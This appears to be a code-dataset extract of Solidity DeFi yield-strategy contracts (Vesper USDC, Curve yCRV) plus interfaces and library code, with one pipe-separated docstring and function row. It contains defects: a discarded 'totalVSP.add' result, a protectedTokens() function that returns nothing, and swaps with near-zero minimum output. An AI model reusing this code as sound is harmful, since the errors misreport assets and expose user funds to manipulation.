* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// File: Strategy.sol
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Vesper contracts: https://docs.vesper.finance/vesper-grow-pools/vesper-grow/audits#vesper-pool-contracts
// Vesper vault strategies: https://medium.com/vesperfinance/vesper-grow-strategies-today-and-tomorrow-8bd7b907ba5
address public constant vUSDC = 0x0C49066C0808Ee8c673553B7cbd99BCC9ABf113d;
address public constant uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address public activeDex = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address public constant vsp = 0x1b40183EFB4Dd766f11bDa7A7c3AD8982e998421;
address public constant vVSP = 0xbA4cFE5741b357FA371b506e5db0774aBFeCf8Fc;
address public constant poolRewards = 0xd59996055b5E0d154f2851A030E207E0dF0343B0;
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address[] public vspPath;
bool public useVvsp = true; // Allows us to control whether VSP rewards should be deposited to vVSP
bool private harvestVvsp = false; // private to hide visibility
uint256 public _keepVSP = 3000; // 30%
uint256 public constant DENOMINATOR = 10000;
constructor(address _vault) public BaseStrategy(_vault) {
// You can set these parameters on deployment to whatever you want
// maxReportDelay = 6300;
// profitFactor = 100;
// debtThreshold = 0;
IERC20(vsp).approve(sushiswap, uint256(-1));
IERC20(vsp).approve(uniswap, uint256(-1));
IERC20(vsp).approve(vVSP, uint256(-1));
want.approve(vUSDC, uint256(-1));
vspPath = new address[](3);
vspPath[0] = vsp;
vspPath[1] = weth;
vspPath[2] = address(want);
}
// ******** OVERRIDE THESE METHODS FROM BASE CONTRACT ************
function name() external view override returns (string memory) {
// Add your own name here, suggestion e.g. "StrategyCreamYFI"
return "StrategyVesperUSDC";
}
function estimatedTotalAssets() public view override returns (uint256) {
// TODO: Build a more accurate estimate using the value of all positions in terms of `want`
uint256 totalWant = 0;
// Calculate VSP holdings
uint256 totalVSP = IERC20(vsp).balanceOf(address(this));
uint256 vspShares = IVesperPool(vVSP).balanceOf(address(this));
if(vspShares > 0){
uint256 pps = IVesperPool(vVSP).getPricePerShare();
uint256 vaultBal = pps.mul(vspShares).div(1e18);
totalVSP = totalVSP.add(vaultBal);
}
totalVSP.add(IPoolRewards(poolRewards).claimable(address(this)));
if(totalVSP > 0){
totalWant = totalWant.add(convertVspToWant(totalVSP));
}
// Calculate want
totalWant = totalWant.add(want.balanceOf(address(this)));
return totalWant.add(calcWantHeldInVesper());
}
function calcWantHeldInVesper() internal view returns (uint256 wantBalance) {
wantBalance = 0;
uint256 shares = IVesperPool(vUSDC).balanceOf(address(this));
if(shares > 0){
uint256 pps = morePrecisePricePerShare();
uint256 withdrawableWant = pps.mul(shares).div(1e24);
wantBalance = wantBalance.add(convertFrom18(withdrawableWant));
}
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
_debtPayment = _debtOutstanding; // default is to pay the full debt
// Here we begin doing stuff to make our profits
uint256 claimable = IPoolRewards(poolRewards).claimable(address(this));
if(claimable > 0){
IPoolRewards(poolRewards).claimReward(address(this));
}
// Check wheter this harvest should the vVSP vault
if(harvestVvsp){
withdrawAllVvsp();
uint256 toSell = IERC20(vsp).balanceOf(address(this));
if(toSell > 0){
_sell(toSell);
}
harvestVvsp = false;
}
else{
uint256 vspBal = IERC20(vsp).balanceOf(address(this));
if(vspBal > 0){
uint256 keepAmt = vspBal.mul(_keepVSP).div(DENOMINATOR);
uint256 sellAmt = vspBal.sub(keepAmt);
if(sellAmt > 0){
_sell(sellAmt);
}
}
}
uint256 debt = vault.strategies(address(this)).totalDebt;
uint256 wantBalance = want.balanceOf(address(this));
uint256 assets = wantBalance.add(calcWantHeldInVesper()); // Don't include kept vsp
if(debt < assets){
_profit = assets.sub(debt);
}
else{ // This is bad, would imply strategy is net negative
_loss = debt.sub(assets);
}
// We want to free up enough to pay debt, without dipping into harvest profits
uint256 toFree = _debtOutstanding.add(_profit);
// Unlikely, but let's check if debt is high enought that
// we'll need to dip into vsp vault to pay debt
if(toFree > calcWantHeldInVesper()){
// Don't bother withdrawing "some", just yank it all
withdrawAllVvsp();
uint256 vspBalance = IERC20(vsp).balanceOf(address(this));
if(vspBalance > 0){
_sell(vspBalance);
uint256 newBalance = want.balanceOf(address(this));
wantBalance = newBalance;
// Check if we have enough
if(wantBalance > toFree){
toFree = 0;
_profit = wantBalance.sub(_debtPayment);
}
else{
toFree = toFree.sub(wantBalance);
}
}
}
if(toFree > wantBalance){
toFree = toFree.sub(wantBalance);
(uint256 liquidatedAmount, uint256 withdrawalLoss) = withdrawSome(toFree);
if(withdrawalLoss < _profit){
_profit = _profit.sub(withdrawalLoss);
}
else{
_loss = _loss.add(withdrawalLoss.sub(_profit));
_profit = 0;
}
if(wantBalance < _profit){
_profit = wantBalance;
_debtPayment = 0;
}
else if (wantBalance < _debtPayment.add(_profit)){
_debtPayment = wantBalance.sub(_profit);
}
}
}
function withdrawSome(uint256 _amount) internal returns (uint256 _liquidatedAmount, uint256 _loss) {
uint256 wantBalanceBefore = want.balanceOf(address(this));
uint256 vaultBalance = IERC20(vUSDC).balanceOf(address(this));
uint256 sharesToWithdraw = convertTo18(_amount
.mul(1e24)
.div(morePrecisePricePerShare()));
if(vaultBalance > 0){
sharesToWithdraw = Math.min(sharesToWithdraw, vaultBalance);
IVesperPool(vUSDC).withdraw(sharesToWithdraw);
}
uint256 withdrawnAmount = want.balanceOf(address(this)).sub(wantBalanceBefore);
if(withdrawnAmount >= _amount){
_liquidatedAmount = _amount;
}
else{
_liquidatedAmount = withdrawnAmount;
_loss = _amount.sub(withdrawnAmount);
}
}
function withdrawAllVvsp() internal {
uint256 vaultBalance = IERC20(vVSP).balanceOf(address(this));
if(vaultBalance > 0){
IVesperPool(vVSP).withdraw(vaultBalance);
}
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) {
return;
}
uint256 wantBal = want.balanceOf(address(this));
// In case we need to return want to the vault
if (_debtOutstanding > wantBal) {
return;
}
// Invest available want
uint256 _wantAvailable = wantBal.sub(_debtOutstanding);
if (_wantAvailable > 0) {
IVesperPool(vUSDC).deposit(_wantAvailable);
}
// Check are we using the vsp vault? If so claim rewards and deposit
if(useVvsp){
if(IPoolRewards(poolRewards).claimable(address(this)) > 0) {
IPoolRewards(poolRewards).claimReward(address(this));
}
uint256 vspBalance = IERC20(vsp).balanceOf(address(this));
if(vspBalance > 0){
IVesperPool(vVSP).deposit(vspBalance);
}
}
}
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) {
uint256 wantBal = want.balanceOf(address(this));
if (_amountNeeded > wantBal) {
// Need more want to meet request. Must convert to 18 decimals
(_liquidatedAmount, _loss) = withdrawSome(_amountNeeded.sub(wantBal));
}
_liquidatedAmount = Math.min(_amountNeeded, _liquidatedAmount.add(wantBal));
}
function _sell(uint256 _amount) internal {
IUniswapV2Router(activeDex).swapExactTokensForTokens(_amount, uint256(0), vspPath, address(this), now);
}
function prepareMigration(address _newStrategy) internal override {
// want is taken care of by baseStrategy, but we must send pool tokens to new strat
if(IPoolRewards(poolRewards).claimable(address(this)) > 0){
IPoolRewards(poolRewards).claimReward(address(this));
}
uint256 vUsdcBalance = IERC20(vUSDC).balanceOf(address(this));
uint256 vspBalance = IERC20(vsp).balanceOf(address(this));
uint256 vVspBalance = IERC20(vVSP).balanceOf(address(this));
if(vUsdcBalance > 0){
IERC20(vUSDC).transfer(_newStrategy, vUsdcBalance);
}
if(vspBalance > 0){
IERC20(vsp).transfer(_newStrategy, vspBalance);
}
if(vVspBalance > 0){
IERC20(vVSP).transfer(_newStrategy, vVspBalance);
}
}
function convertVspToWant(uint256 _amount) internal view returns (uint256) {
return IUniswapV2Router(activeDex).getAmountsOut(_amount, vspPath)[vspPath.length - 1];
}
function convertFrom18(uint256 _value) public pure returns (uint256) {
return _value.div(10**12);
}
function convertTo18(uint256 _value) public pure returns (uint256) {
return _value.mul(10**12);
}
function setKeepVSP(uint256 _amount) external onlyGovernance {
require(_amount < DENOMINATOR, "cannot greater than denom!");
_keepVSP = _amount;
}
function toggleUseVvsp() external onlyGovernance {
useVvsp = !useVvsp;
}
function toggleHarvestVvsp() external {
require(msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.management(),
"!authorized"
);
harvestVvsp = true;
}
function toggleActiveDex() external onlyGovernance {
if(activeDex == sushiswap){
activeDex = uniswap;
}
else{
activeDex = sushiswap;
}
}
function protectedTokens() internal view override returns (address[] memory) {
address[] memory protected = new address[](2);
protected[0] = vsp;
protected[1] = vUSDC;
}
function morePrecisePricePerShare() public view returns (uint256) {
// We do this because Vesper's contract gives us a not-very-precise pps
return IVesperPool(vUSDC).totalValue().mul(1e36).div(IVesperPool(vUSDC).totalSupply());
}
}
|
TODO: Build a more accurate estimate using the value of all positions in terms of `want` Calculate VSP holdings
|
function estimatedTotalAssets() public view override returns (uint256) {
uint256 totalWant = 0;
uint256 totalVSP = IERC20(vsp).balanceOf(address(this));
uint256 vspShares = IVesperPool(vVSP).balanceOf(address(this));
if(vspShares > 0){
uint256 pps = IVesperPool(vVSP).getPricePerShare();
uint256 vaultBal = pps.mul(vspShares).div(1e18);
totalVSP = totalVSP.add(vaultBal);
}
totalVSP.add(IPoolRewards(poolRewards).claimable(address(this)));
if(totalVSP > 0){
totalWant = totalWant.add(convertVspToWant(totalVSP));
}
return totalWant.add(calcWantHeldInVesper());
}
| 15,213,262
|
pragma solidity 0.5.16;
import "./Governable.sol";
contract Controllable is Governable {
constructor(address _storage) public Governable(_storage) {}
modifier onlyController() {
require(store.isController(msg.sender), "Not a controller");
_;
}
modifier onlyControllerOrGovernance() {
require(
(store.isController(msg.sender) || store.isGovernance(msg.sender)),
"The caller must be controller or governance"
);
_;
}
function controller() public view returns (address) {
return store.controller();
}
}
pragma solidity 0.5.16;
import "./Storage.sol";
contract Governable {
Storage public store;
constructor(address _store) public {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
modifier onlyGovernance() {
require(store.isGovernance(msg.sender), "Not governance");
_;
}
function setStorage(address _store) public onlyGovernance {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
function governance() public view returns (address) {
return store.governance();
}
}
pragma solidity 0.5.16;
contract Storage {
address public governance;
address public controller;
constructor() public {
governance = msg.sender;
}
modifier onlyGovernance() {
require(isGovernance(msg.sender), "Not governance");
_;
}
function setGovernance(address _governance) public onlyGovernance {
require(_governance != address(0), "new governance shouldn't be empty");
governance = _governance;
}
function setController(address _controller) public onlyGovernance {
require(_controller != address(0), "new controller shouldn't be empty");
controller = _controller;
}
function isGovernance(address account) public view returns (bool) {
return account == governance;
}
function isController(address account) public view returns (bool) {
return account == controller;
}
}
pragma solidity 0.5.16;
interface IController {
// [Grey list]
// An EOA can safely interact with the system no matter what.
// If you're using Metamask, you're using an EOA.
// Only smart contracts may be affected by this grey list.
//
// This contract will not be able to ban any EOA from the system
// even if an EOA is being added to the greyList, he/she will still be able
// to interact with the whole system as if nothing happened.
// Only smart contracts will be affected by being added to the greyList.
// This grey list is only used in Vault.sol, see the code there for reference
function greyList(address _target) external view returns (bool);
function addVaultAndStrategy(address _vault, address _strategy) external;
function forceUnleashed(address _vault) external;
function hasVault(address _vault) external returns (bool);
function salvage(address _token, uint256 amount) external;
function salvageStrategy(
address _strategy,
address _token,
uint256 amount
) external;
function notifyFee(address _underlying, uint256 fee) external;
function profitSharingNumerator() external view returns (uint256);
function profitSharingDenominator() external view returns (uint256);
}
pragma solidity 0.5.16;
interface IStrategy {
function unsalvagableTokens(address tokens) external view returns (bool);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function vault() external view returns (address);
function withdrawAllToVault() external;
function withdrawToVault(uint256 amount) external;
function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch()
// should only be called by controller
function salvage(
address recipient,
address token,
uint256 amount
) external;
function forceUnleashed() external;
function depositArbCheck() external view returns (bool);
}
pragma solidity 0.5.16;
interface IVault {
function underlyingBalanceInVault() external view returns (uint256);
function underlyingBalanceWithInvestment() external view returns (uint256);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function strategy() external view returns (address);
function setStrategy(address _strategy) external;
function setVaultFractionToInvest(uint256 numerator, uint256 denominator)
external;
function deposit(uint256 amountWei) external;
function depositFor(uint256 amountWei, address holder) external;
function withdrawAll() external;
function withdraw(uint256 numberOfShares) external;
function getPricePerFullShare() external view returns (uint256);
function underlyingBalanceWithInvestmentForHolder(address holder)
external
view
returns (uint256);
// force unleash should be callable only by the controller (by the force unleasher) or by governance
function forceUnleashed() external;
function rebalance() external;
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../interfaces/IController.sol";
import "../Controllable.sol";
contract ProfitNotifier is Controllable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public profitSharingNumerator;
uint256 public profitSharingDenominator;
address public underlying;
event ProfitLog(
uint256 oldBalance,
uint256 newBalance,
uint256 feeAmount,
uint256 timestamp
);
constructor(address _storage, address _underlying)
public
Controllable(_storage)
{
underlying = _underlying;
profitSharingNumerator = 0;
profitSharingDenominator = 100;
require(
profitSharingNumerator < profitSharingDenominator,
"invalid profit share"
);
}
function notifyProfit(uint256 oldBalance, uint256 newBalance) internal {
if (newBalance > oldBalance && profitSharingNumerator > 0) {
uint256 profit = newBalance.sub(oldBalance);
uint256 feeAmount =
profit.mul(profitSharingNumerator).div(
profitSharingDenominator
);
emit ProfitLog(oldBalance, newBalance, feeAmount, block.timestamp);
IERC20(underlying).safeApprove(controller(), 0);
IERC20(underlying).safeApprove(controller(), feeAmount);
IController(controller()).notifyFee(underlying, feeAmount);
} else {
emit ProfitLog(oldBalance, newBalance, 0, block.timestamp);
}
}
function setProfitSharingNumerator(uint256 _profitSharingNumerator)
external
onlyGovernance
{
profitSharingNumerator = _profitSharingNumerator;
}
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./interfaces/Gauge.sol";
import "./interfaces/ICurveFi.sol";
import "./interfaces/yVault.sol";
import "../../uniswap/interfaces/IUniswapV2Router02.sol";
import "../../interfaces/IStrategy.sol";
import "../../interfaces/IVault.sol";
import "../ProfitNotifier.sol";
/**
* This strategy is for the yCRV vault, i.e., the underlying token is yCRV. It is not to accept
* stable coins. It will farm the CRV crop. For liquidation, it swaps CRV into DAI and uses DAI
* to produce yCRV.
*/
contract CRVStrategyYCRV is IStrategy, ProfitNotifier {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
event Liquidating(uint256 amount);
// yDAIyUSDCyUSDTyTUSD (yCRV)
address public underlying;
address public pool;
address public mintr;
address public crv;
address public curve;
address public weth;
address public dai;
address public yDai;
address public uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// these tokens cannot be claimed by the governance
mapping(address => bool) public unsalvagableTokens;
// our vault holding the underlying token (yCRV)
address public vault;
uint256 maxUint = uint256(~0);
address[] public uniswap_CRV2DAI;
modifier restricted() {
require(
msg.sender == vault ||
msg.sender == controller() ||
msg.sender == governance(),
"The sender has to be the controller, governance, or vault"
);
_;
}
constructor(
address _storage,
address _vault,
address _underlying,
address _gauge,
address _mintr,
address _crv,
address _curve,
address _weth,
address _dai,
address _yDai,
address _uniswap
) public ProfitNotifier(_storage, _dai) {
require(
IVault(_vault).underlying() == _underlying,
"vault does not support yCRV"
);
vault = _vault;
underlying = _underlying;
pool = _gauge;
mintr = _mintr;
crv = _crv;
curve = _curve;
weth = _weth;
dai = _dai;
yDai = _yDai;
uni = _uniswap;
uniswap_CRV2DAI = [crv, weth, dai];
// set these tokens to be not salvageable
unsalvagableTokens[underlying] = true;
unsalvagableTokens[crv] = true;
}
function depositArbCheck() public view returns (bool) {
return true;
}
/**
* Salvages a token. We should not be able to salvage CRV and yCRV (underlying).
*/
function salvage(
address recipient,
address token,
uint256 amount
) public onlyGovernance {
// To make sure that governance cannot come in and take away the coins
require(
!unsalvagableTokens[token],
"token is defined as not salvageable"
);
IERC20(token).safeTransfer(recipient, amount);
}
/**
* Withdraws yCRV from the investment pool that mints crops.
*/
function withdrawYCrvFromPool(uint256 amount) internal {
Gauge(pool).withdraw(
Math.min(Gauge(pool).balanceOf(address(this)), amount)
);
}
/**
* Withdraws the yCRV tokens to the pool in the specified amount.
*/
function withdrawToVault(uint256 amountUnderlying) external restricted {
withdrawYCrvFromPool(amountUnderlying);
if (IERC20(underlying).balanceOf(address(this)) < amountUnderlying) {
claimAndLiquidateCrv();
}
uint256 toTransfer =
Math.min(
IERC20(underlying).balanceOf(address(this)),
amountUnderlying
);
IERC20(underlying).safeTransfer(vault, toTransfer);
}
/**
* Withdraws all the yCRV tokens to the pool.
*/
function withdrawAllToVault() external restricted {
claimAndLiquidateCrv();
withdrawYCrvFromPool(maxUint);
uint256 balance = IERC20(underlying).balanceOf(address(this));
IERC20(underlying).safeTransfer(vault, balance);
}
/**
* Invests all the underlying yCRV into the pool that mints crops (CRV_.
*/
function investAllUnderlying() public restricted {
uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this));
if (underlyingBalance > 0) {
IERC20(underlying).safeApprove(pool, 0);
IERC20(underlying).safeApprove(pool, underlyingBalance);
Gauge(pool).deposit(underlyingBalance);
}
}
/**
* Claims the CRV crop, converts it to DAI on Uniswap, and then uses DAI to mint yCRV using the
* Curve protocol.
*/
function claimAndLiquidateCrv() internal {
Mintr(mintr).mint(pool);
// claiming rewards and sending them to the master strategy
uint256 crvBalance = IERC20(crv).balanceOf(address(this));
emit Liquidating(crvBalance);
if (crvBalance > 0) {
uint256 daiBalanceBefore = IERC20(dai).balanceOf(address(this));
IERC20(crv).safeApprove(uni, 0);
IERC20(crv).safeApprove(uni, crvBalance);
// we can accept 1 as the minimum because this will be called only by a trusted worker
IUniswapV2Router02(uni).swapExactTokensForTokens(
crvBalance,
1,
uniswap_CRV2DAI,
address(this),
block.timestamp
);
// now we have DAI
// pay fee before making yCRV
notifyProfit(
daiBalanceBefore,
IERC20(dai).balanceOf(address(this))
);
// liquidate if there is any DAI left
if (IERC20(dai).balanceOf(address(this)) > 0) {
yCurveFromDai();
}
// now we have yCRV
}
}
/**
* Claims and liquidates CRV into yCRV, and then invests all underlying.
*/
function forceUnleashed() public restricted {
claimAndLiquidateCrv();
investAllUnderlying();
}
/**
* Investing all underlying.
*/
function investedUnderlyingBalance() public view returns (uint256) {
return
Gauge(pool).balanceOf(address(this)).add(
IERC20(underlying).balanceOf(address(this))
);
}
/**
* Converts all DAI to yCRV using the CRV protocol.
*/
function yCurveFromDai() internal {
uint256 daiBalance = IERC20(dai).balanceOf(address(this));
if (daiBalance > 0) {
IERC20(dai).safeApprove(yDai, 0);
IERC20(dai).safeApprove(yDai, daiBalance);
yERC20(yDai).deposit(daiBalance);
}
uint256 yDaiBalance = IERC20(yDai).balanceOf(address(this));
if (yDaiBalance > 0) {
IERC20(yDai).safeApprove(curve, 0);
IERC20(yDai).safeApprove(curve, yDaiBalance);
// we can accept 0 as minimum, this will be called only by trusted roles
uint256 minimum = 0;
ICurveFi(curve).add_liquidity([yDaiBalance, 0, 0, 0], minimum);
}
// now we have yCRV
}
}
pragma solidity 0.5.16;
import "./CRVStrategyYCRV.sol";
/**
* This strategy is for the yCRV vault, i.e., the underlying token is yCRV. It is not to accept
* stable coins. It will farm the CRV crop. For liquidation, it swaps CRV into DAI and uses DAI
* to produce yCRV.
*/
contract CRVStrategyYCRVMainnet is CRVStrategyYCRV {
constructor(address _storage, address _vault)
public
CRVStrategyYCRV(
_storage,
_vault,
address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8), // yCRV underlying
address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1), // _gauge
address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0), // _mintr
address(0xD533a949740bb3306d119CC777fa900bA034cd52), // _crv
address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51), // _curve
address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), // _weth
address(0x6B175474E89094C44Da98b954EedeAC495271d0F), // _dai
address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01), // _yDai
address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) // _uniswap
)
{}
}
pragma solidity 0.5.16;
interface Gauge {
function deposit(uint256) external;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
function user_checkpoint(address) external;
}
interface VotingEscrow {
function create_lock(uint256 v, uint256 time) external;
function increase_amount(uint256 _value) external;
function increase_unlock_time(uint256 _unlock_time) external;
function withdraw() external;
}
interface Mintr {
function mint(address) external;
}
pragma solidity 0.5.16;
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount)
external;
function remove_liquidity_imbalance(
uint256[4] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts)
external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function calc_token_amount(uint256[4] calldata amounts, bool deposit)
external
view
returns (uint256);
}
pragma solidity 0.5.16;
interface yERC20 {
function deposit(uint256 _amount) external;
function withdraw(uint256 _amount) external;
function getPricePerFullShare() external view returns (uint256);
}
pragma solidity >=0.5.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
pragma solidity >=0.5.0;
import "./IUniswapV2Router01.sol";
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
